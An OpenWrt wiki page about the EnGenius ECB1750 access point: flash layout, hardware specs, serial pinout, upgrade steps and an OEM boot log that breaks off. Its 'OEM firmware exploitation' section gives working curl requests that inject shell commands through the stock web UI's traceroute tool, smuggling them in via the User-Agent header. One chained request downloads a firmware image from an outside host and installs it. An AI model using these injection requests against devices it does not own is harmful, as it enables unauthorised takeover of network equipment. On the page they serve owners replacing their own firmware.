User Tools

Site Tools


toh:engenius:engenius_ecb1750_1

EnGenius ECB1750

EnGenius ECB1750. Dual band 3x3 802.11bgn/ac access point/wds bridge.

Currently finalizing patch for submission.

ECB1750

  • OEM Firmware GPL source code: Dropbox

Supported Versions

Hardware Highlights

ModelVersionSoCCPU MHzFlash MBRAM MBWLAN HardwareWLAN2.4WLAN5.0100M portsGbit portsModemUSB
ECB1750v1Qualcomm Atheros QCA955872016128Atheros QCA9558, QCA986x/988xb/g/na/n/ac-1No-

Installation

Flash Layout

ECB1750 FLASH LAYOUT
Layer 0 spi0.0: MX25L12865E 16384KiB
L1 MTDBlock MTD0 MTD1 MTD7 MTD5 MTD6
L1 name u-boot u-boot-env firmware 15680 userconfig art
L1 start 0x00000000 0x000000040000 0x000000050000 0x000000fa0000 0x000000ff0000
L1 end 0x000000040000 0x000000050000 0x000000fa0000 0x000000ff0000 0x000001000000
Layer 2 MTD2 MTD 3 MTD4
L2 name kernel rootfs
L2 start 0x000000050000 0x0000001b0000
L2 end 0x0000001b0000 0x000000fa0000
L2 size in KiB 1408k 14272k
mountpoint /
Filesystem mini_fo/overlayfs
Layer 3 rootfs_data
L3 start 0x000000430000
L3 end 0x000000fa0000
Size in KiB 256k 64k 1408k 2560k 10688k 1024k 64k
name u-boot u-boot-env kernel rootfs rootfs_data userconfig art
mountpoint none none none /rom /overlay none none
filesystem none none none SquashFS JFFS2 none none

OEM firmware exploitation

I have used several methods of installing openwrt onto the ECB1750 (writing the flash over spi with a programmer, tftp, web ui exploitation). All of these methods are pretty generic and straight forward except oddly enough the most accessible one.

I am going to start by outlining how the exploit I found works. It is a pretty normal command injection vuln for the most part. The stock firmware is already running an Attitude Adjustment build of OpenWrt along with the proprietary Qualcomm Atheros drivers. Which in of itself is fine… but for whatever reason they dulled down LuCI to the point where the AP is barely usable as one. Knowing that the device is running OpenWrt helps with understanding the structure of the stock firmware. I just had to find a way to poke at it…

Digging around I found that most if not all of the tools listed under "Management>Tools" on the stock firmware filters the user input using client side js. Starting from the 'Traceroute' tab I captured a request from pressing the 'Start' button using the Firefox inspector and then I copied it out as a curl command which gave me:

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1?_=0.19077395883423587' \
      -H 'Host: 192.168.1.164' \
      -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: en-US,en;q=0.5' \
      -H 'Accept-Encoding: gzip, deflate' \
      -H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
      -H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
      -H 'Connection: keep-alive'                            

When this is executed it returns something like this:

traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 38 byte packets
 1  127.0.0.1  0.039 ms

Now we have a way to poke at this function from the command like without javascript gumming up the works. Lets tack a command onto the end of the address to see what happens.

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1?_=0.19077395883423587' \
      -H 'Host: 192.168.1.164' \
      -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: en-US,en;q=0.5' \
      -H 'Accept-Encoding: gzip, deflate' \
      -H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
      -H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
      -H 'Connection: keep-alive'    

Which returns something like:

traceroute: bad address '127.0.0.1GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.1.30
QUERY_STRING=_=0.19077395883423587
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
DOCUMENT_ROOT=/www/
REMOTE_PORT=58438
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
CONTENT_LENGTH=0
SCRIPT_FILENAME=/www/cgi-bin/luci
HTTP_HOST=192.168.1.164
REQUEST_URI=/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$(env)?_=0.19077395883423587
SERVER_SOFTWARE=lighttpd/1.4.30
HTTP_CONNECTION=keep-alive
HTTP_COOKIE=sysauth=2ed278385aaf32fb88c85388a86d533b
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_REFERER=http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
PATH_INFO=/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$(env)
REDIRECT_STATUS=200
REQUEST_METHOD=GET
SERVER_ADDR=0.0.0.0
PWD=/www/cgi-bin
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/luci
SERVER_NAME=192.168.1.164'

Sweet, Sweet shell injection…Now what can we do with this? Turns out as-is not much because the server side wont allow any space characters to be passed through the request. This means that 'ls' will execute fine but 'ls -la' will return:

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>400 - Bad Request</title>
 </head>
 <body>
  <h1>400 - Bad Request</h1>
 </body>
</html>
So what can we do about this? Well…remember before when we issued the 'env' command? Check its output…you might see it… Thats right. The user agent is set as a variable for the executing shell. This means that while the server rejects '../127.0.0.1$(ls -la)' because it contains a space character '../127.0.0.1$($HTTP_USER_AGENT)' will pass just fine.

So lets leverage this to execute 'ls -la' just to see:

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$($HTTP_USER_AGENT)?_=0.19077395883423587' \
		-H 'Host: 192.168.1.164' \
		-H 'User-Agent: ls -la' \
		-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
		-H 'Accept-Language: en-US,en;q=0.5' \
		-H 'Accept-Encoding: gzip, deflate' \
		-H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
		-H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
		-H 'Connection: keep-alive'

If that returns something like this:

traceroute: bad address '127.0.0.1drwxr-xr-x    2 root     root            27 Aug 11 08:40 .
drwxr-xr-x    4 root     root           398 Aug 11 08:40 ..
-rwxr-xr-x    1 root     root           135 Jan 27  2015 luci'

Then you have just successfully leveraged the vulnerability to execute shell code at the level needed to replace the system firmware.

OEM installation using the exploit method

THIS DOC/IMAGE IS A WiP DO NOT DO THIS YET OR YOU WILL BRICK YOUR DEV!!!

The Long Way:

If you opt for the long way you should read the above section titled "OEM firmware exploitation". I will not be explaining the reasoning behind the actions in this section. This is purely instructional. We need to complete 4 steps to replace the AP's firmware. (You can skip the opkg stuff if you have the firmware update image hosted on a non-https server and just use busybox's wget instead. Personally I would use curl anyway.)

  1. opkg update.
  2. install curl.
  3. Download the firmware update through curl.
  4. Install the firmware update.

Start by capturing a request to a diagnostic tool under 'Management>Tools' from on the stock web ui as a curl command using a browser inspector (I used 'Traceroute' and captured the request with the Firefox inspector). Then modify the request to update the local opkg db.

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$($HTTP_USER_AGENT)?_=0.19077395883423587' \
		-H 'Host: 192.168.1.164' \
		-H 'User-Agent: opkg update' \
		-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
		-H 'Accept-Language: en-US,en;q=0.5' \
		-H 'Accept-Encoding: gzip, deflate' \
		-H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
		-H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
		-H 'Connection: keep-alive'
Now execute that command to update opkg. Next we are going to install curl:
curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$($HTTP_USER_AGENT)?_=0.19077395883423587' \
		-H 'Host: 192.168.1.164' \
		-H 'User-Agent: opkg install curl' \
		-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
		-H 'Accept-Language: en-US,en;q=0.5' \
		-H 'Accept-Encoding: gzip, deflate' \
		-H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
		-H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
		-H 'Connection: keep-alive'

Now we are going to download the update to the /tmp dir:

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$($HTTP_USER_AGENT)?_=0.19077395883423587' \
		-H 'Host: 192.168.1.164' \
		-H 'User-Agent: curl -L -k -o /tmp/openwrt-ar71xx-generic-ecb1750-squashfs-sysupgrade.bin https://github.com/assimilat/openwrt/releases/download/1.0/openwrt-ar71xx-generic-ecb1750-squashfs-sysupgrade.bin' \
		-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
		-H 'Accept-Language: en-US,en;q=0.5' \
		-H 'Accept-Encoding: gzip, deflate' \
		-H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
		-H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
		-H 'Connection: keep-alive'

And finally we are going to install the update:

curl 'http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diag_traceroute/127.0.0.1$($HTTP_USER_AGENT)?_=0.19077395883423587' \
		-H 'Host: 192.168.1.164' \
		-H 'User-Agent: sysupgrade -F -n -v /tmp/openwrt-ar71xx-generic-ecb1750-squashfs-sysupgrade.bin' \
		-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
		-H 'Accept-Language: en-US,en;q=0.5' \
		-H 'Accept-Encoding: gzip, deflate' \
		-H 'Referer: http://192.168.1.164/cgi-bin/luci/;stok=6f6d4ce561d8d2f221e3c41ec4a10447/admin/network/diagnostics?tab=traceroute' \
		-H 'Cookie: sysauth=2ed278385aaf32fb88c85388a86d533b' \
		-H 'Connection: keep-alive'

The Short Way:

  1. Set the USERNAME PASSWORD and REMOTEADDR variables at the head of the script to match your env.
  2. Make sure your device has a functioning internet connection.
  3. After running this script the device will be setup to get its network configuration via DHCP so make sure you have a DHCP server handy.
  4. Run the script and wait for the device to reboot (you'll see the ethernet led toggle on and off).
  5. After the device finishes rebooting it will be accessible via ssh as root with no password set.
  6. The mac addr for wlan1 is set via an extracted firmware image that gets created on the first boot.
  7. If the mac addr is incorrect just make sure the system has finished initializing, then reboot and it should be corrected.

Upgrading OpenWrt

generic.sysupgrade

FIXME These are generic instructions. Update with your router's specifics.

LuCI Web Upgrade Process

Terminal Upgrade Process

If you don't have a GUI (LuCI) available, you can alternatively upgrade via the command line. There are two command line methods for upgrading:

  • sysupgrade
  • mtd

Note: It is important that you put the firmware image into the ramdisk (/tmp) before you start flashing.

sysupgrade

  • Login as root via SSH on 192.168.1.1, then enter the following commands:

cd /tmp
wget http://downloads.openwrt.org/snapshots/trunk/XXX/xxx.abc
sysupgrade /tmp/xxx.abc

mtd

If sysupgrade does not support this router, use mtd.

  • Login as root via SSH on 192.168.1.1, then enter the following commands:

cd /tmp
wget http://downloads.openwrt.org/snapshots/trunk/XXX/xxx.abc
mtd write /tmp/xxx.abc linux && reboot

Debricking

generic.debrick The latest OEM firmware releases are encoded so they will not work for tftp booting.
I have found that v1.0.1.15 and v1.0.2 are not encoded so they should work.
If you want to use the latest OEM over tftp you need to compile the senao header program from the GPL src tree under GPL_OPENWRT/SENAO/package/senao-image-header.
Once you have that build you can decode the firmware with:

$./header_x86 -a -s ECB-1750-v1.2.3.30.bin -d ECB-1750-v1.2.3.30.bin.decoded
MD5 check OK!
header: Return OK

Failsafe mode

Basic configuration

Basic configuration After flashing, proceed with this.
Set up your Internet connection, configure wireless, configure USB port, etc.

Specific Configuration

OEM Network interfaces

The default OEM firmware network configuration is:

Interface Name Description Default configuration
br-lan LAN 192.168.1.1
wlan0 5GHz WiFi Disabled
wlan1 2.4GHz WiFi Disabled

OpenWrt Network interfaces

The default OpenWRT update firmware network configuration is:

Interface Name Description Default configuration
br-lan LAN DHCP
wlan0 5GHz WiFi Disabled
wlan1 2.4GHz WiFi Disabled

Buttons

hardware.button on howto use and configure the hardware button(s). Here, we merely name the buttons, so we can use them in the above Howto.

The EnGenius ECB1750 has the following buttons:

BUTTON Event
EXAMPLE Reset reset

Hardware

Info

General
Brand EnGenius
Model ECB1750
Versions v1
Device Type WiFi Router
Availability Available
Comments - general
OpenWrt Support
Supported Since Revision
Supported Since Release external image
Supported Current Release external image
Unsupported
Hardware
Instruction set MIPS32
Sub Instruction Set MIPS32 74K series
Bootloader U-Boot
Target ar71xx
System-On-Chip Qualcomm Atheros QCA9558
CPU MHz 720
Flash MB 16
RAM MB 128
Network
Ethernet 100M ports -
Ethernet Gbit ports 1
Switch
Modem No
VLAN No
Comments - network ports
Wireless
WLAN 2.4GHz b/g/n
WLAN 5.0GHz a/n/ac
WLAN Hardware
Detachable Antennas 6
Comments - WLAN
Interfaces
USB ports -
SATA ports -
Serial Yes
JTAG No
Comments - USB & SATA ports
Misc
LED count 4
Button count 1
Power supply
Links
Forum Topic URL
WikiDevi URL
OEM device homepage URL http://www.engeniustech.com/products/indoor-access-points-client-bridges/desktop-wall-mount/ecb1750.html
Firmware OEM Stock URL http://www.engeniustech.com/resources/Firmware/ECB-1750-v1.2.3.30.bin
Firmware OpenWrt Install URL
Firmware OpenWrt Upgrade URL
Edit the underlying data View/Edit data

Opening the case

Note: This will void your warranty!

Remove the single torx screw beside the Kensington lock hole on on the same side of the device as the power and ethernet ports.
The rest of the housing is held in place by clips built into the plastic.
I find the simplest way to deal with these is to use a prying implement like a flathead screwdriver to LIGHTLY create a gap wide enough to insert a shim (old cd-r's and/or credit card size plastic are great for this).
Then just go around the device until all of the clips are shimmed and the plastic housing should just lift off.

Serial

From left to right in the picture: VCC(3.3v), GND, TX, RX
Do not connect VCC.

Serial connection parameters
for EnGenius ECB1750
EXAMPLE 115200, 8N1

Hardware mods

NOTE: As a beginner, you really should inform yourself first about soldering in general, and then obtain some practical experience, before doing anything to your device that you'll later regret!

Bootlogs

OEM bootlog

ECB1200_1750 - Scorpion 1.0DRAM: sri Scorpion 1.0 ath_ddr_initial_config(200): (32bit) ddr2 init tap = 0x00000003 Tap (low, high) = (0x4, 0x1a) Tap values = (0xf, 0xf, 0xf, 0xf) 128 MB Top of RAM usable for U-Boot at: 88000000 Reserving 216k for U-Boot at: 87fc8000 Reserving 192k for malloc() at: 87f98000 Reserving 44 Bytes for Board Info at: 87f97fd4 Reserving 36 Bytes for Globata at: 87f97fb0 Reserving 128k for boot params() at: 87f77fb0 Stack Pointer at: 87f77f98 Now running in RAM - U-Boot at: 87fc8000 Flash Manuf Id 0xc2, DeviceId0 0x20, DeviceId1 0x18 flash size 16MB, sector count = 256 Flash: 16 MB *** Warning *** : 2nd PCIe WLAN Module not found !!! In: serial Out: serial Err: serial Net: ath_gmac_enet_initialize... athrs_sgmii_res_cal: cal value = 0x1 Fetching MAC Address from 0x87feb810 ath_gmac_enet_initialize: reset mask:c02200 Scorpion ----> AR8035 PHY * AR8035 PHY init : cfg1 0xf cfg2 0x7135 eth0: 88:dc:96:39:d9:a1 ATHR8035_PHY: Phy 5, Neg Success ATHR8035_PHY: unit 0 phy addr 5 eth0 up eth0 Setting 0x18116290 to 0x58b1a14f Hit any key to stop autoboot: 0 ## Booting image at 9f050000 ... Image Name: MIPS OpenWrt Linux-3.3.8 Created: 2015-08-11 8:46:21 UTC Image Type: MIPS Linux Kernel Image (lzma compressed) Data Size: 10 Bytes = 1016.1 kB Load Address: 80060000 Entry Point: 80060000 Verifying Checksum at 0x9f050040 ...OK Uncompressing Kernel Image ... OK No initrd ## Transferring control to Linux (at address 80060000) ... ## Giving linux memsize in bytes, 134217728 Starting kernel ... [ 0.000000] Linux version 3.3.8 (root@localhost.localdomain) (gcc version 4.6.3 20120201 (prerelease) (Linaro GCC 4.6-2012.02) ) #1 Tue Aug 11 16:45:47 CST 2015 [ 0.000000] bootconsole [early0] enabled 0.000000] CPU revision is: 00019750 (MIPS 74Kc) [ 0.000000] SoC: Qualcomm Atheros QCA9558 rev 0 0.000000] Clocks: CPU:720.000MHz, DDR:600.000MHz, AHB:200.000MHz, Ref:40.000MHz [ 0.000000] Determined physical RAM map: 0.000000] memory: 08000000 @ 00000000 (usable) [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] Zone PFN ranges: [ 0.000000] Normal 0x00000000 -> 0x00008000 [ 0.000000] Movable zone start PFN for each node [ 0.00 Early memory PFN ranges [ 0.000000] 0: 0x00000000 -> 0x00008000 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512 [ 0.000000] Kernel command line: board=ECB1750 console=ttyS0,115200 mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),1(kernel),14272k(rootfs),320k(userconfig),64k(art),15680k@0x50000(firmware) rootfstype=squashfs,jffs2 ntrd [ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes) [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes) [ 0.000000] Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes [ 0.000000] Writing ErrCtl register=00000000 [ 0.000000] Readback ErrCtl register=00000000 [ 0.000000] Memory: 126296k/131072k available (2216k kernel code, 4776k reserved, 581k data, 212k init, 0k highmem) [ 0.000000] SLUB: Genslabs=9, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ .000000] NR_IRQS:51 [ 0.000000] Calibrating delay loop... 358.80 BogoMIPS (lpj=1794048) [ 0.060000] pid_max: default: 32768 minimum: 301 [ 0.060000] Mount-cache hash table entries: 512 [ 0.070000] Initialized recycle list for cpu 0. [ 0.070000] NET: Registered protocol family 16 [ 0.080000] gpiochip_add: registered GPIOs 0 to 23 on device: ath79 [ 0.080000] MIPS: machine is Senao ECB1750 [ 0.090000] registering PCI controller with io_map_base unset [ 0.100000] ar724x-pci ar724x-pci.1: PCIe link is down [ 0.100000] registering PCI controller with io_map_base unset [ 0.310000] bio: create slab <bio-0> at 0 [ 0.320000] PCI host bridge to bus 0000:00 [ 0.320000] pci_bus 0000:00: root bus resource [mem 0x10000000-0x11ffffff] [ 0.330000] pci_bus 0000:00: root bus resource [io 0x0000] [ 0.330000] pci:00:00.0: invalid calibration data [ 0.340000] pci 0000:00:00.0: BAR 0: assigned [mem 0x10000000-0x101fffff 64bit] [ 0.340000] pci 0000:00:00.0: BAR 6: assigned [mem 0x10200000-0x1020ffff pref] [ 0.350000] PCI host bridge to bus 0000:01 [ 0.350000] pci_bus 0000:01: root bus resource [x12000000-0x13ffffff] [ 0.360000] pci_bus 0000:01: root bus resource [io 0x0001] [ 0.360000] pci 0000:00:00.0: using i for pin 1 [ 0.370000] Switching to clocksource MIPS [ 0.370000] NET: Registered protocol family 2 [ 0.380000] IP route cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.380000] TCP established hash table entries: 4096 (order: 3, 32768 bytes) [ 0.390000] TCP bind hash table entries: 4096 (order: 2, 16384 bytes) [ 0.390000] TCP: Hash tablonfigured (established 4096 bind 4096) [ 0.400000] TCP reno registered [ 0.400000] UDP hash taentries: 256 (order: 0, 4096 bytes) [ 0.410000] UDP-Lite hash table entries: 256 (order: 0, 4096 ) [ 0.410000] NET: Registered protocol family 1 [ 0.430000] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.430000] JFFS2 version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc. [ 0.440000] msgmni has been set to 246 [ 0.450000] io scheduler noop registered [ 0.450000] io scheduler deadline registered (default) [ 0.460000] Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled [ 0.480000] serial8250.0: ttyS0 at MMIO 0x18020000 (irq = 11) is a 16550A [ 0.490000] console [ttyS0] enabled, bootconsole disabled [ 0.490000] console [ttyS0] enabled, bootconsole disabled [ 0.500000] m25p80 spi0.0: found mx25l12805d, expected m25p80 [ 0.510000] m25p80 spi0.0: mx25l12805d (16384 Kbytes) [ 0.510000] 7 cmdlinepart partitions found on MTD device spi0.0 [ 0.520000] Creating 7 MTD partitions on "spi0.0": [ 0.530000] 0x000000000000-0x000000040000 : "u-boot" [ 0.530000] 0x000000040000-0x000000050000 : "u-boot-env" [ 0.540000] 0x000000050000-0x0000001b0000 : "kernel" [ 0.540000] 0x0000001b0000-0x000000fa0000 : "rootfs" [ 0.550000] mtd: partition "rootfs" set to be root filesystem [ 0.560000] mtd: partition "rootfs_data" created automatically, ofs=810000, len=790000 [ 0.560000] 0x000000810000-0x000000fa0000 : "rootfs_data" [ 0.570000] 0x000000fa0000-0x000000ff0000 : "userconfig" [ 0.580000] 0x000000ff0000-0x000001000000 : "art" [ 0.580000] 0x000000050000-0x000000fa0000 : "firmware" [ 0.590000] /proc/Lan_Led created [ 0.610000] ag71xx_mdio: probed [ 0.610000] eth0: Atheros AG71xx at 0xb9000000, irq 4 [ 1.170000] ag71xx ag71xx.0: eth0: connected to PHY at ag71xx-mdio.0:05 [uid=004dd072, driver=Generic PHY] [ 1.180000] GACT probability on [ 1.180000] Mirror/redirect action on [ 1.180000] u32 classifier [ 1.190000] Performance counters on [ 1.190000] input device check on [ 1.190000] Actions configured [ 1.200000] ip_tables: (C) 2000-2006 Netfilter Core Team [ 1.200000] TCP bic registered [ 1.210000] TCP cubic registered [ 1.210000] TCP westwood registered [ 1.210000] TCP highspeed registered [ 1.220000] TCP hybla registered [ 1.220000] TCP htcp registered [ 1.220000] TCP vegas registered [ 1.230000] TCP veno registered [ 1.230000] TCP scalable registered [ 1.230000] TCP lp registered [ 1.240000] TCP yeah registered [ 1.240000] TCP illinois registered [ 1.240000] NET: Registered protocol family 17 [ 1.250000] Bridge firewalling registered [ 1.250000] 8021q: 802.1Q VLAN Support v1.8 [ 1.260000] VFS: Mounted root (squashfs filesystem) readonly on device 31:3. [ 1.270000] Freeing unused kernel memory: 212k freed - preinit - Press the [f] key and hit [enter] to enter failsafe mode [ 6.170000] eth0: link up (1000Mbps/Full duplex) - regular preinit - [ 6.350000] JFFS2 notice: (434) jffs2_build_xattr_subsystem: complete building xattr subsystem, 1 of xdatum (0 unchecked, 0 orphan) and 19 of xref (0 dead, 2 orphan) found. switching to jffs2 - init - [ 6.420000] eth0: link down Please press Enter to activate this console. [ 7.900000] NET: Registered protocol family 10 [ 8.010000] asf: module license 'Proprietary' taints kernel. [ 8.010000] Disabling lock debugging due to kernel taint [ 8.030000] ****Address of trace_timer :8702a610 [ 8.330000] ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, TX_DATA_SWAP, RX_DATA_SWAP, 11D) [ 8.350000] ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved [ 8.370000] ath_dfs: Version 2.0.0 [ 8.370000] Copyright (c) 2005-2006 Atheros Communications, Inc. All Rights Reserved [ 8.520000] ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved [ 10.610000] __ath_attach: Set global_scn[0] [ 10.620000] Enterprise mode: 0x23fc0000 [ 10.630000] Restoring Cal data from DRAM [ 10.630000] [ 10.630000] ART Version : 10.347 [ 10.630000] SW Image Version : 0.20.-30.2.5 [ 10.640000] Board Revision : 6 [ 10.640000] ar9300_attach: nf_2_nom -110 nf_2_max -60 nf_2_min -125 [ 10.650000] [ 10.650000] [5G A/N] scn_handle->scn_disable_band=1,[0,0,0,1] [ 10.660000] Green-AP : Green-AP : Attached [ 10.660000] [ 10.670000] ath_get_caps[6195] rx chainmask mismatch actual 7 sc_chainmak 0 [ 10.680000] ath_get_caps[6170] tx chainmask mismatch actual 7 sc_chainmak 0 [ 10.680000] ath_attach_dfs[12718] dfsdomain 1 [ 10.700000] wifi0: Atheros ???: mem=0xb8100000, irq=47 [ 10.710000] ath_pci: SmartAntenna-DRT-0.1 (Atheros/multi-bss) [ 10.720000] ath_pci_probe [ 10.720000] PCI device id is 003c :003c [ 10.720000] ath_pci 0000:00:00.0: BAR 0: assigned [mem 0x10000000-0x101fffff 64bit] [ 10.730000] PCI: Enabling device 0000:00:00.0 (0000 -> 0002) [ 10.740000] ath_pci 0000:00:00.0: ath DEBUG: sc=0x87ac9600 [ 10.740000] [ 10.740000] ol_ath_pci_configure : num_desired MSI set to 0 [ 10.750000] [ 10.750000] Using PCI Legacy Interrupt [ 11.750000] CE_per_engine_handler_adjust, base=87ac9600 offset=00057400 [ 11.750000] CE_per_engine_handler_adjust, base=87ac9600 offset=00057800 [ 11.770000] __ol_ath_attach: ath_attach TODO [ 11.770000] __ol_ath_attach: dev name wifi1 [ 11.780000] ol_ath_set_default_tgt_config : AC Minfree buffer allocation through module param (umac.ko) [ 11.790000] OL_ACBKMinfree : 0 [ 11.790000] OL_ACBEMinfree : 0 [ 11.790000] OL_ACVIMinfree : 0 [ 11.800000] OL_ACVOMinfree : 0 [ 11.800000] ol_ath_attach() BMI inited. [ 11.810000] ol_ath_attach() BMI Get Target Info. [ 11.810000] ol_ath_attach() TARGET TYPE: 7 Vers 0x4100016c [ 11.820000] NUM_DEV=1 FWMODE=0x2 FWSUBMODE=0x0 FWBR_BUF 0 [ 11.820000] ol_ath_attach() configure Target . [ 11.830000] qc98xx_verify_checksum: flash checksum passed: 0xcab0 [ 11.830000] [ 11.830000] ========== ac_obey_reg_power = 0 [ 11.840000] qc98xx_verify_checksum: flash checksum passed: 0xe490 [ 11.840000] ol_transfer_bin_file 2337: Download DRAM data len 2116 [ 11.850000] ol_ath_download_firmware: cal_in_flash=0, ATH_DRAM_DATA_FILE status=0 [ 11.860000] Download AR9888v2_bin [ 11.870000] ol_transfer_bin_file 2193: Download Firmware data len 235576 [ 12.870000] ol_ath_attach() Download FW. [ 12.880000] ol_ath_attach() HT Create . [ 12.880000] ol_ath_attach() HIF Claim. [ 12.880000] ol_ath_attach() BMI Done. [ 12.890000] ol_ath_attach() WMI attached. wmi_handle 86300000 [ 12.890000] +HWT [ 12.900000] SOC_RESET_CONTROL_ADDRESS : 800 [ 12.900000] CPU_INTR_ADDRESS = [0] [ 12.900000] SOC_GLOBAL_RESET_ADDRESS = [0] [ 12.910000] Rx_Filter : [0] [ 12.910000] CE_per_engine_handler_adjust, base=87ac9600 offset=00057400 [ 12.920000] CE_per_engine_handler_adjust, base=87ac9600 offset=00057800 [ 12.920000] CE_per_engine_handler_adjust, base=87ac9600 offset=00057c00 [ 12.930000] CE_per_engine_handler_adjust, base=87ac9600 offset=00058000 [ 12.940000] CE_per_engine_handler_adjust, base=87ac9600 offset=00058400 [ 12.950000] CE_per_engine_handler_adjust, base=87ac9600 offset=00058800 [ 12.960000] CE_recv_buf_enqueue 654 Populate last entry 512 for CE 5 [ 12.960000] CE_recv_buf_enqueue 663 CE 5 wi 511 dest_ptr 0x5c9d040 nbytes 0 recv_ctxt 0x864729c0 [ 12.970000] Target:87171000 HTC Service:0x0001, ULpipe:0 DLpipe:1 id:0 Ready [ 12.980000] -HWT [ 12.980000] Target:87171000 HTC Service:0x0300, ULpipe:4 DLpipe:5 id:1 Ready [ 12.990000] HTC Service:0x0300 ep:1 TX flow control disabled [ 12.990000] CE_pkt_dl_len_set CE 4 Pkt download length 64 [ 13.000000] ol_txrx_pdev_attach: 1424 tx desc's allocated ; range starts from 85900000 [ 13.010000] Target:87171000 HTC Service:0x0100, ULpipe:3 DLpipe:2 id:2 Ready [ 13.020000] HTC Service:0x0100 ep:2 TX flow control disabled [ 13.020000] wmi_service_ready_event_rx: WMI UNIFIED SERVICE READY event [ 13.030000] num_rf_chain : 00000003 [ 13.030000] ht_cap_info: : 0000085b [ 13.040000] vht_cap_info : 338001b2 [ 13.040000] vht_supp_mcs : 0000ffea [ 13.040000] LARGE_AP enabled. num_peers 144, num_vdevs 16, num_tids 256, lteu_support 0 [ 13.050000] idx 0 req 1 num_units 0 num_unit_info 2 unit size 440 actual units 145 [ 13.060000] chunk 0 len 63800 requested ,ptr 0x5910000 [ 13.080000] FIRMWARE:P 145 V 16 T 443 [ 13.080000] [ 13.080000] 